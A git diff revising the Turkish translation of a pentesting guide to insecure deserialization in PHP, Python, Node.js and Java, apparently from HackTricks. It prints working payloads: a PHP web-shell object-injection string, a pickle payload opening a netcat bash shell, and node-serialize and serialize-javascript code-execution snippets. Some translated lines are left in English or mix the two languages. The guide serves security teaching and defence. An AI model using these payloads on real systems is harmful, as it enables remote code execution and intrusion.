Translated ['src/pentesting-web/deserialization/README.md', 'src/pentest

src/SUMMARY.md

@@ -622,6 +622,7 @@
   - [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
   - [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
   - [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
+  - [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
   - [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
   - [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
   - [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)

src/pentesting-web/deserialization/README.md

@@ -4,21 +4,21 @@
 
 ## Temel Bilgiler
 
-**Serialization**, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur.
+**Serialization** bir nesnenin saklanabilir veya iletişim sürecinde iletilebilir bir formata dönüştürülme yöntemi olarak anlaşılır. Bu teknik genellikle nesnenin yapısını ve durumunu koruyarak ileride yeniden oluşturulabilmesi amacıyla kullanılır.
 
-**Deserialization** ise, tersine, serileştirmeyi etkisiz hale getiren bir süreçtir. Belirli bir formatta yapılandırılmış verileri alıp, tekrar bir nesne haline getirmeyi içerir.
+**Deserialization** ise bunun tersidir. Belirli bir formatta düzenlenmiş veriyi alıp tekrar bir nesne haline getirme sürecini içerir.
 
-Deserialization tehlikeli olabilir çünkü potansiyel olarak **saldırganların serileştirilmiş verileri manipüle ederek zararlı kod çalıştırmasına** veya nesne yeniden yapılandırma sürecinde uygulamada beklenmedik davranışlar oluşturmasına olanak tanır.
+**Deserialization** tehlikeli olabilir çünkü potansiyel olarak **saldırganların serileştirilmiş veriyi manipüle ederek zararlı kod çalıştırmasına** veya nesnenin yeniden oluşturulması sırasında uygulamada beklenmeyen davranışlara yol açmasına izin verir.
 
 ## PHP
 
-PHP'de, serileştirme ve deserialization süreçlerinde belirli sihirli yöntemler kullanılır:
+PHP'de, serileştirme ve deserileştirme süreçleri sırasında belirli sihirli metotlar kullanılır:
 
-- `__sleep`: Bir nesne serileştirilirken çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarını içeren bir dizi döndürmelidir. Genellikle bekleyen verileri taahhüt etmek veya benzer temizlik görevlerini yerine getirmek için kullanılır.
-- `__wakeup`: Bir nesne deserialized edilirken çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır.
-- `__unserialize`: Bu yöntem, bir nesne deserialized edilirken `__wakeup` yerine çağrılır (varsa). Deserialization süreci üzerinde `__wakeup`'a kıyasla daha fazla kontrol sağlar.
-- `__destruct`: Bu yöntem, bir nesne yok edilmek üzereyken veya script sona erdiğinde çağrılır. Genellikle dosya tanıtıcılarını veya veritabanı bağlantılarını kapatmak gibi temizlik görevleri için kullanılır.
-- `__toString`: Bu yöntem, bir nesnenin bir string olarak muamele görmesini sağlar. Bir dosyayı okumak veya içindeki fonksiyon çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel bir temsilini etkili bir şekilde sağlar.
+- `__sleep`: Bir nesne serileştirilirken çağrılır. Bu metot, serileştirilmesi gereken nesnenin tüm özelliklerinin isimlerini içeren bir dizi döndürmelidir. Genellikle bekleyen verileri kaydetmek veya benzer temizlik görevleri için kullanılır.
+- `__wakeup`: Bir nesne deserileştirilirken çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini gerçekleştirmek için kullanılır.
+- `__unserialize`: Bir nesne deserileştirilirken (varsa) `__wakeup` yerine çağrılan metottur. `__wakeup`'a kıyasla deserileştirme süreci üzerinde daha fazla kontrol sağlar.
+- `__destruct`: Bir nesne yok edilmek üzereyken veya betik sonlandığında çağrılan metottur. Genellikle dosya işleyicilerini veya veritabanı bağlantılarını kapatma gibi temizlik görevleri için kullanılır.
+- `__toString`: Bir nesnenin string gibi davranmasını sağlar. İçindeki fonksiyon çağrılarına bağlı olarak bir dosya okunması veya benzeri görevler için kullanılabilir; nesnenin metinsel bir temsilini sunar.
 ```php
 <?php
 class test {
@@ -74,10 +74,10 @@ This is a test<br />
 */
 ?>
 ```
-Eğer sonuçlara bakarsanız, nesne serileştirildiğinde **`__wakeup`** ve **`__destruct`** fonksiyonlarının çağrıldığını görebilirsiniz. Birçok eğitimde **`__toString`** fonksiyonunun bazı özellikleri yazdırmaya çalışırken çağrıldığını göreceksiniz, ancak görünüşe göre bu **artık olmuyor**.
+Sonuçlara bakarsanız, nesne deserialize edildiğinde **`__wakeup`** ve **`__destruct`** fonksiyonlarının çağrıldığını görebilirsiniz. Bazı eğitimlerde bir attribute'ü yazdırmaya çalışırken **`__toString`** fonksiyonunun çağrıldığı belirtilir; ancak görünüşe göre artık bu **gerçekleşmiyor**.
 
 > [!WARNING]
-> Eğer sınıfta uygulanmışsa, **`__unserialize(array $data)`** metodu **`__wakeup()`** yerine çağrılır. Bu, serileştirilmiş veriyi bir dizi olarak sağlayarak nesneyi serileştirmeye olanak tanır. Bu metodu, özellikleri serileştirmek ve serileştirme sırasında gerekli görevleri yerine getirmek için kullanabilirsiniz.
+> Eğer sınıfta uygulanmışsa, **`__unserialize(array $data)`** metodu **`__wakeup()` yerine** çağrılır. Bu metod, serileştirilmiş veriyi bir dizi olarak sağlayarak nesnenin unserialize edilmesine izin verir. Bu metodu, özellikleri unserialize etmek ve deserializasyon sırasında gerekli işlemleri yapmak için kullanabilirsiniz.
 >
 > ```php
 > class MyClass {
@@ -85,24 +85,25 @@ Eğer sonuçlara bakarsanız, nesne serileştirildiğinde **`__wakeup`** ve **`_
 >
 >    public function __unserialize(array $data): void {
 >        $this->property = $data['property'];
->        // Serileştirme sırasında gerekli görevleri yerine getirin.
+>        // Perform any necessary tasks upon deserialization.
 >    }
 > }
 > ```
 
-Açıklamalı bir **PHP örneğini burada** okuyabilirsiniz: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), burada [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) veya burada [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
+Açıklamalı bir PHP örneğini burada okuyabilirsiniz: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), burada [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) veya burada [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
 
-### PHP Deserial + Autoload Classes
+### PHP Deserial + Autoload Sınıfları
+
+PHP autoload işlevini keyfi php dosyalarını yüklemek ve daha fazlası için suistimal edebilirsiniz:
 
-PHP otomatik yükleme işlevselliğini, keyfi php dosyalarını yüklemek ve daha fazlası için kötüye kullanabilirsiniz:
 
 {{#ref}}
 php-deserialization-+-autoload-classes.md
 {{#endref}}
 
-### Referans Değerleri Serileştirme
+### Referanslı Değerleri Serileştirme
 
-Herhangi bir nedenle bir değeri **başka bir serileştirilmiş değere referans olarak** serileştirmek isterseniz:
+Eğer bir değeri başka bir serileştirilmiş değere **referans olarak serileştirmek** istiyorsanız, şunu yapabilirsiniz:
 ```php
 <?php
 class AClass {
@@ -115,12 +116,12 @@ $o->param1 =& $o->param22;
 $o->param = "PARAM";
 $ser=serialize($o);
 ```
-### `allowed_classes` ile PHP Nesne Enjeksiyonunu Önleme
+### PHP Object Injection'ı `allowed_classes` ile Önleme
 
 > [!INFO]
-> `unserialize()` fonksiyonunun **ikinci argümanı** ( `$options` dizisi) **PHP 7.0**'da eklendi. Daha eski sürümlerde fonksiyon yalnızca serileştirilmiş dizeyi kabul eder, bu da hangi sınıfların örnekleneceğini kısıtlamayı imkansız hale getirir.
+> `unserialize()`'ün **ikinci argümanı** (`$options` dizisi) desteği **PHP 7.0**'de eklendi. Eski sürümlerde fonksiyon yalnızca serileştirilmiş stringi kabul eder; bu, hangi sınıfların örneklenebileceğini kısıtlamayı imkansız kılar.
 
-`unserialize()` serileştirilmiş akışta bulduğu **her sınıfı** örnekleyecektir, aksi belirtilmedikçe. PHP 7'den itibaren davranış [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) seçeneği ile kısıtlanabilir:
+`unserialize()` serileştirilmiş akış içinde bulduğu her sınıfı **örnekler** aksi belirtilmedikçe. PHP 7'den beri bu davranış [`allowed_classes`](https://www.php.net/manual/en/function/unserialize.php) seçeneği ile kısıtlanabilir:
 ```php
 // NEVER DO THIS – full object instantiation
 $object = unserialize($userControlledData);
@@ -135,11 +136,11 @@ $object = unserialize($userControlledData, [
 'allowed_classes' => [MyModel::class, DateTime::class]
 ]);
 ```
-Eğer **`allowed_classes` belirtilmemişse _veya_ kod PHP < 7.0 üzerinde çalışıyorsa**, çağrı **tehlikeli** hale gelir çünkü bir saldırgan, Uzak Kod Yürütme (RCE) elde etmek için `__wakeup()` veya `__destruct()` gibi sihirli yöntemleri istismar eden bir yük oluşturabilir.
+Eğer **`allowed_classes` atlanır _veya_ kod PHP < 7.0 üzerinde çalışıyorsa**, bu çağrı **tehlikeli** hale gelir; çünkü saldırgan `__wakeup()` veya `__destruct()` gibi magic methods'ları kötüye kullanarak payload hazırlayıp Remote Code Execution (RCE) gerçekleştirebilir.
 
 #### Gerçek dünya örneği: Everest Forms (WordPress) CVE-2025-52709
 
-WordPress eklentisi **Everest Forms ≤ 3.2.2**, bir yardımcı sarmalayıcı ile savunmacı olmaya çalıştı ancak eski PHP sürümlerini unuttu:
+WordPress eklentisi **Everest Forms ≤ 3.2.2** bir yardımcı wrapper ile savunma yapmaya çalışmış ama eski PHP sürümlerini unutmuştu:
 ```php
 function evf_maybe_unserialize($data, $options = array()) {
 if (is_serialized($data)) {
@@ -154,30 +155,31 @@ return @unserialize(trim($data));
 return $data;
 }
 ```
-**PHP ≤ 7.0** çalışan sunucularda bu ikinci dal, bir yöneticinin kötü niyetli bir form gönderimini açması durumunda klasik bir **PHP Nesne Enjeksiyonu** ile sonuçlandı. Minimal bir istismar yükü şöyle görünebilir:
+Hâlâ **PHP ≤ 7.0** çalıştıran sunucularda bu ikinci dal, bir yönetici zararlı bir form gönderimini açtığında klasik bir **PHP Object Injection**'a yol açıyordu. Minimal bir exploit payload şu şekilde görünebilir:
 ```
 O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
 ```
-Yönetici girişi görüntülediği anda, nesne oluşturuldu ve `SomeClass::__destruct()` çalıştırıldı, bu da rastgele kod yürütülmesine yol açtı.
+Admin girdiyi görüntülediği anda nesne örneklendi ve `SomeClass::__destruct()` çalıştırıldı; bu da keyfi kod yürütülmesine yol açtı.
 
-**Önemli Noktalar**
-1. `unserialize()` çağrılırken her zaman `['allowed_classes' => false]` (veya katı bir beyaz liste) geçirin.
-2. Savunma sarmalayıcılarını denetleyin – genellikle eski PHP dallarını unutur.
-3. Sadece **PHP ≥ 7.x**'ye yükseltmek *yeterli değildir*: seçenek hala açıkça sağlanmalıdır.
+**Çıkarımlar**
+1. Her zaman `unserialize()` çağırırken `['allowed_classes' => false]` (veya sıkı bir white-list) verin.
+2. Defansif wrapper'ları denetleyin – genellikle eski PHP dallarını unuturlar.
+3. Sadece **PHP ≥ 7.x**'e yükseltmek yeterli *değildir*: seçenek yine de açıkça sağlanmalıdır.
 
 ---
 
-### PHPGGC (PHP için ysoserial)
+### PHPGGC (ysoserial for PHP)
 
-[**PHPGGC**](https://github.com/ambionics/phpggc), PHP deserialization'larını kötüye kullanmak için yükler oluşturmanıza yardımcı olabilir.\
-Uygulamanın kaynak kodunda bir deserialization'ı kötüye kullanmanın bir yolunu **bulamayabileceğinizi** unutmayın, ancak **harici PHP uzantılarının kodunu kötüye kullanabilirsiniz.**\
-Bu nedenle, mümkünse, sunucunun `phpinfo()`'sunu kontrol edin ve **internette** (hatta **PHPGGC**'nin **gadgets**'lerinde) kötüye kullanabileceğiniz bazı olası gadget'ları arayın.
+[**PHPGGC**](https://github.com/ambionics/phpggc) PHP deserileştirmelerini kötüye kullanmak için payload oluşturmanıza yardımcı olabilir.\
+Çoğu durumda uygulamanın kaynak kodunda bir deserialization'ı **kötüye kullanmanın bir yolunu bulamayabilirsiniz** ancak dış PHP extension'larının kodunu **kötüye kullanabiliyor** olabilirsiniz.\
+Bu yüzden mümkünse sunucunun `phpinfo()`'sini kontrol edin ve **internet üzerinde arama yapın** (hatta **PHPGGC**'nin **gadgets**'larında) kötüye kullanabileceğiniz bazı olası gadget'ları bulun.
 
 ### phar:// metadata deserialization
 
-Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin _**file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()**_** gibi fonksiyonlar kullanarak.** **phar** protokolünü kullanarak bir **dosya** okurken meydana gelen bir **deserialization**'ı kötüye kullanmayı deneyebilirsiniz.\
+Eğer bir LFI bulduysanız ve bu LFI dosyayı sadece okuyorsa ve içindeki php kodunu çalıştırmıyorsa, örneğin _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** phar protokolünü kullanarak bir **dosya** okunurken gerçekleşen bir **deserileştirmeyi** kötüye kullanmayı deneyebilirsiniz.\
 Daha fazla bilgi için aşağıdaki gönderiyi okuyun:
 
+
 {{#ref}}
 ../file-inclusion/phar-deserialization.md
 {{#endref}}
@@ -186,8 +188,8 @@ Daha fazla bilgi için aşağıdaki gönderiyi okuyun:
 
 ### **Pickle**
 
-Nesne unpickle edildiğinde, \_\_\_reduce\_\_\_ fonksiyonu çalıştırılacaktır.\
-Kötüye kullanıldığında, sunucu bir hata döndürebilir.
+Nesne unpickle edildiğinde, fonksiyon \_\_\_reduce\_\_\_ çalıştırılacaktır.\
+Kötüye kullanıldığında sunucu bir hata döndürebilir.
 ```python
 import pickle, os, base64
 class P(object):
@@ -195,9 +197,10 @@ def __reduce__(self):
 return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
 print(base64.b64encode(pickle.dumps(P())))
 ```
-Önce bypass tekniğini kontrol etmeden önce, python3 çalıştırıyorsanız `print(base64.b64encode(pickle.dumps(P(),2)))` kullanarak python2 ile uyumlu bir nesne oluşturmayı deneyin.
+Bypass tekniğini kontrol etmeden önce, python3 çalıştırıyorsanız python2 ile uyumlu bir obje üretmek için `print(base64.b64encode(pickle.dumps(P(),2)))` kullanmayı deneyin.
+
+Daha fazla bilgi için **pickle jails**'ten kaçış hakkında bakın:
 
-**pickle jails**'dan kaçış hakkında daha fazla bilgi için kontrol edin:
 
 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@@ -205,7 +208,8 @@ print(base64.b64encode(pickle.dumps(P())))
 
 ### Yaml **&** jsonpickle
 
-Aşağıdaki sayfa, **yamls** python kütüphanelerinde **güvensiz bir deserialization'ı kötüye kullanma** tekniğini sunmakta ve **Pickle, PyYAML, jsonpickle ve ruamel.yaml** için RCE deserialization yükü oluşturmak üzere kullanılabilecek bir araçla bitmektedir:
+Aşağıdaki sayfa, yamls python kütüphanelerinde güvensiz deserialization'ı suistimal etme tekniğini anlatır ve **Pickle, PyYAML, jsonpickle ve ruamel.yaml** için RCE deserialization payload oluşturmakta kullanılabilecek bir araçla sona erer:
+
 
 {{#ref}}
 python-yaml-deserialization.md
@@ -213,6 +217,7 @@ python-yaml-deserialization.md
 
 ### Class Pollution (Python Prototype Pollution)
 
+
 {{#ref}}
 ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
 {{#endref}}
@@ -221,10 +226,10 @@ python-yaml-deserialization.md
 
 ### JS Magic Functions
 
-JS **PHP veya Python gibi "sihirli" fonksiyonlara** sahip değildir; bu fonksiyonlar yalnızca bir nesne oluşturmak için çalıştırılacaktır. Ancak, **doğrudan çağrılmadan** bile **sıklıkla kullanılan bazı fonksiyonlar** vardır, örneğin **`toString`**, **`valueOf`**, **`toJSON`**.\
-Eğer bir deserialization'ı kötüye kullanıyorsanız, bu fonksiyonları **diğer kodları çalıştırmak için tehlikeye atabilirsiniz** (potansiyel olarak prototype kirliliğini kötüye kullanarak) ve çağrıldıklarında rastgele kod çalıştırabilirsiniz.
+JS, PHP veya Python gibi sadece bir obje oluşturulması için yürütülecek **"magic" fonksiyonlara sahip değildir.** Ancak `toString`, `valueOf`, `toJSON` gibi doğrudan çağrılmasalar bile sıkça kullanılan bazı **fonksiyonlara** sahiptir.\
+Eğer bir deserialization'ı suistimal ederseniz, bu fonksiyonları diğer kodları yürütmek üzere ele geçirerek (muhtemelen prototype pollutions'ı suistimal ederek) çağrıldıklarında rastgele kod çalıştırabilirsiniz.
 
-Bir fonksiyonu doğrudan çağırmadan **"sihirli" bir şekilde çağırmanın** bir diğer yolu, **bir async fonksiyondan dönen bir nesneyi tehlikeye atmaktır** (promise). Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde bir **özellik** ile başka bir **promise**'e **dönüştürürseniz**, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._
+Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
 ```javascript
 // If you can compromise p (returned object) to be a promise
 // it will be executed just because it's the return object of an async function:
@@ -248,9 +253,9 @@ test_ressolve()
 test_then()
 //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
 ```
-### `__proto__` ve `prototype` kirlenmesi
+### `__proto__` and `prototype` pollution
 
-Bu tekniği öğrenmek istiyorsanız **aşağıdaki eğitime göz atın**:
+Bu teknik hakkında bilgi edinmek istiyorsanız **aşağıdaki eğitime göz atın**:
 
 
 {{#ref}}
@@ -259,7 +264,7 @@ nodejs-proto-prototype-pollution/
 
 ### [node-serialize](https://www.npmjs.com/package/node-serialize)
 
-Bu kütüphane fonksiyonları serileştirmeye olanak tanır. Örnek:
+Bu kütüphane fonksiyonları serileştirmeye izin verir. Örnek:
 ```javascript
 var y = {
 rce: function () {
@@ -272,23 +277,23 @@ var serialize = require("node-serialize")
 var payload_serialized = serialize.serialize(y)
 console.log("Serialized: \n" + payload_serialized)
 ```
-**Serileştirilmiş nesne** şöyle görünecektir:
+**Serileştirilmiş nesne** şu şekilde görünecek:
 ```bash
 {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
 ```
-Örnekte görebileceğiniz gibi, bir fonksiyon serileştirildiğinde `_$$ND_FUNC$$_` bayrağı serileştirilmiş nesneye eklenir.
+You can see in the example that when a `function` is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
 
-`node-serialize/lib/serialize.js` dosyasında aynı bayrağı ve kodun bunu nasıl kullandığını bulabilirsiniz.
+Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
 
 ![](<../../images/image (351).png>)
 
 ![](<../../images/image (446).png>)
 
-Son kod parçasında görebileceğiniz gibi, **eğer bayrak bulunursa** `eval` fonksiyonu kullanılarak fonksiyon serileştirilir, bu nedenle temelde **kullanıcı girişi `eval` fonksiyonu içinde kullanılmaktadır**.
+As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the `function`, so basically **user input is being used inside the `eval` function**.
 
-Ancak, **sadece bir fonksiyonu serileştirmek** **onu çalıştırmaz**, çünkü kodun bir kısmının **`y.rce`'yi çağırması** gerekir ve bu oldukça **olasılık dışıdır**.\
-Yine de, serileştirilmiş nesneyi **değiştirerek** **bazı parantezler ekleyerek** nesne serileştirildiğinde serileştirilmiş fonksiyonun otomatik olarak çalışmasını sağlayabilirsiniz.\
-Son kod parçasında **son parantezi** ve `unserialize` fonksiyonunun kodu otomatik olarak nasıl çalıştıracağını gözlemleyin:
+However, **just serialising** a `function` **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **olası değil**.\
+Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized `function` when the object is deserialized.\
+In the next chunk of code **notice the last parenthesis** and how the `unserialize` `function` will automatically execute the code:
 ```javascript
 var serialize = require("node-serialize")
 var test = {
@@ -296,20 +301,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
 }
 serialize.unserialize(test)
 ```
-Daha önce belirtildiği gibi, bu kütüphane `_$$ND_FUNC$$_` sonrasındaki kodu alacak ve **çalıştıracak** `eval` kullanarak. Bu nedenle, **otomatik olarak kod çalıştırmak** için **fonksiyon oluşturma** kısmını ve son parantezi **silip sadece bir JS tek satır** çalıştırabilirsiniz, aşağıdaki örnekteki gibi:
+Daha önce belirtildiği gibi, bu kütüphane `_$$ND_FUNC$$_` sonrasındaki kodu alır ve `eval` kullanarak **çalıştırır**. Bu yüzden, kodu **otomatik çalıştırmak** için fonksiyon oluşturma kısmını ve son parantezi silebilir ve aşağıdaki örnekte olduğu gibi **sadece bir JS oneliner çalıştırabilirsiniz**:
 ```javascript
 var serialize = require("node-serialize")
 var test =
 "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
 serialize.unserialize(test)
 ```
-Bu güvenlik açığını nasıl istismar edeceğinize dair **daha fazla bilgiye** [**buradan**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) ulaşabilirsiniz.
+You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **daha fazla bilgi** about how to exploit this vulnerability.
 
 ### [funcster](https://www.npmjs.com/package/funcster)
 
-**funcster**'ın dikkate değer bir yönü, **standart yerleşik nesnelerin** erişilemezliğidir; bunlar erişilebilir kapsamın dışındadır. Bu kısıtlama, yerleşik nesneler üzerinde yöntem çağırmaya çalışan kodların çalıştırılmasını engeller ve `console.log()` veya `require(something)` gibi komutlar kullanıldığında `"ReferenceError: console is not defined"` gibi istisnalara yol açar.
+**funcster**'ın kayda değer bir yönü, **standard built-in objects**'un erişilemez olmasıdır; bunlar erişilebilir kapsamın dışında kalırlar. Bu kısıtlama, yerleşik nesnelerin metodlarını çağırmaya çalışan kodların çalışmasını engeller ve `console.log()` veya `require(something)` gibi komutlar kullanıldığında "ReferenceError: console is not defined" gibi istisnalara yol açar.
 
-Bu sınırlamaya rağmen, belirli bir yaklaşım aracılığıyla, tüm standart yerleşik nesneler dahil olmak üzere küresel bağlama tam erişimin geri kazanılması mümkündür. Küresel bağlamı doğrudan kullanarak, bu kısıtlamayı aşmak mümkündür. Örneğin, aşağıdaki kod parçası kullanılarak erişim yeniden sağlanabilir:
+Bu sınırlamaya rağmen, tüm standard built-in objects dahil olmak üzere global context'e tam erişimin geri getirilmesi belirli bir yaklaşımla mümkündür. Global context'e doğrudan erişimi kullanarak bu kısıtlamayı aşabilirsiniz. Örneğin, erişim aşağıdaki snippet ile yeniden sağlanabilir:
 ```javascript
 funcster = require("funcster")
 //Serialization
@@ -331,17 +336,17 @@ __js_function:
 }
 funcster.deepDeserialize(desertest3)
 ```
-**Daha fazla bilgi için bu kaynağı okuyun**[ **source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
+**Daha fazla bilgi için**[ **bu kaynağı okuyun**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
 
 ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
 
-**serialize-javascript** paketi yalnızca serileştirme amaçları için tasarlanmıştır ve yerleşik bir deserialization yeteneği yoktur. Kullanıcılar, deserialization için kendi yöntemlerini uygulamaktan sorumludur. Resmi örnek, serileştirilmiş verileri deserialization için `eval` kullanımını önermektedir:
+**serialize-javascript** paketi yalnızca serialization amaçları için tasarlanmıştır; yerleşik herhangi bir deserialization yeteneğine sahip değildir. Kullanıcılar deserialization için kendi yöntemlerini uygulamaktan sorumludur. Resmî örnekte serialized verileri deserialize etmek için doğrudan `eval` kullanımı önerilmektedir:
 ```javascript
 function deserialize(serializedJavascript) {
 return eval("(" + serializedJavascript + ")")
 }
 ```
-Bu fonksiyon nesneleri serileştirmek için kullanılıyorsa, **kolayca istismar edebilirsiniz**:
+Bu fonksiyon objects'i deserialize etmek için kullanılıyorsa, bunu **kolayca exploit edebilirsiniz**:
 ```javascript
 var serialize = require("serialize-javascript")
 //Serialization
@@ -355,90 +360,100 @@ var test =
 "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
 deserialize(test)
 ```
-**Daha fazla bilgi için bu kaynağı okuyun**[ **.**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
+**Daha fazla bilgi için**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
 
 ### Cryo kütüphanesi
 
-Aşağıdaki sayfalarda, bu kütüphaneyi kötüye kullanarak rastgele komutları nasıl çalıştırabileceğinize dair bilgiler bulabilirsiniz:
+Aşağıdaki sayfalarda bu kütüphaneyi keyfi komutlar yürütmek için nasıl kötüye kullanabileceğinize dair bilgiler bulabilirsiniz:
 
 - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
 - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
 
 ## Java - HTTP
 
-Java'da, **deserialization geri çağırmaları deserialization süreci sırasında çalıştırılır**. Bu yürütme, bu geri çağırmaları tetikleyen kötü niyetli yükler oluşturan saldırganlar tarafından istismar edilebilir ve potansiyel olarak zararlı eylemlerin gerçekleştirilmesine yol açabilir.
+Java'da, **deserialization callbacks deserialization işlemi sırasında yürütülür**. Bu yürütme, bu callback'leri tetikleyen kötü amaçlı payload'lar oluşturan saldırganlar tarafından suistimal edilebilir ve zararlı eylemlerin potansiyel olarak yürütülmesine yol açabilir.
 
-### Parmak İzleri
+### İmzalar
 
-#### Beyaz Kutu
+#### White Box
 
-Kod tabanında potansiyel serileştirme zafiyetlerini tanımlamak için arayın:
+Kod tabanında potansiyel serialization zafiyetlerini tespit etmek için arayın:
 
 - `Serializable` arayüzünü uygulayan sınıflar.
 - `java.io.ObjectInputStream`, `readObject`, `readUnshare` fonksiyonlarının kullanımı.
 
-Aşağıdakilere ekstra dikkat edin:
+Özellikle dikkat edin:
 
 - Dış kullanıcılar tarafından tanımlanan parametrelerle kullanılan `XMLDecoder`.
-- `XStream`'in `fromXML` metodu, özellikle XStream sürümü 1.46 veya daha düşükse, serileştirme sorunlarına karşı hassastır.
-- `readObject` metodu ile birlikte kullanılan `ObjectInputStream`.
+- `XStream`'in `fromXML` metodu, özellikle XStream sürümü 1.46 veya daha eskiyse, serialization sorunlarına açıktır.
+- `ObjectInputStream` ile birlikte `readObject` metodunun kullanımı.
 - `readObject`, `readObjectNodData`, `readResolve` veya `readExternal` gibi yöntemlerin uygulanması.
 - `ObjectInputStream.readUnshared`.
-- Genel `Serializable` kullanımı.
+- Genel olarak `Serializable` kullanımı.
 
-#### Siyah Kutu
+#### Black Box
 
-Siyah kutu testleri için, java serileştirilmiş nesnelerini belirten belirli **imzalar veya "Sihirli Baytlar"** arayın ( `ObjectInputStream`'den kaynaklanan):
+Black box testing için, java serialized objects'ı (kaynak: `ObjectInputStream`) gösteren belirli **signatures veya "Magic Bytes"**'ı arayın:
 
 - Onaltılık desen: `AC ED 00 05`.
-- Base64 deseni: `rO0`.
-- `Content-type` başlığı `application/x-java-serialized-object` olarak ayarlanmış HTTP yanıt başlıkları.
-- Önceki sıkıştırmayı belirten onaltılık desen: `1F 8B 08 00`.
-- Önceki sıkıştırmayı belirten Base64 deseni: `H4sIA`.
-- `.faces` uzantısına sahip web dosyaları ve `faces.ViewState` parametresi. Bu desenleri bir web uygulamasında keşfetmek, [Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) hakkında detaylı bir inceleme yapılmasını gerektirmelidir.
+- Base64 desen: `rO0`.
+- HTTP response header'larında `Content-type`'ın `application/x-java-serialized-object` olarak ayarlanması.
+- Önceden sıkıştırma olduğunu gösteren onaltılık desen: `1F 8B 08 00`.
+- Önceden sıkıştırma olduğunu gösteren Base64 desen: `H4sIA`.
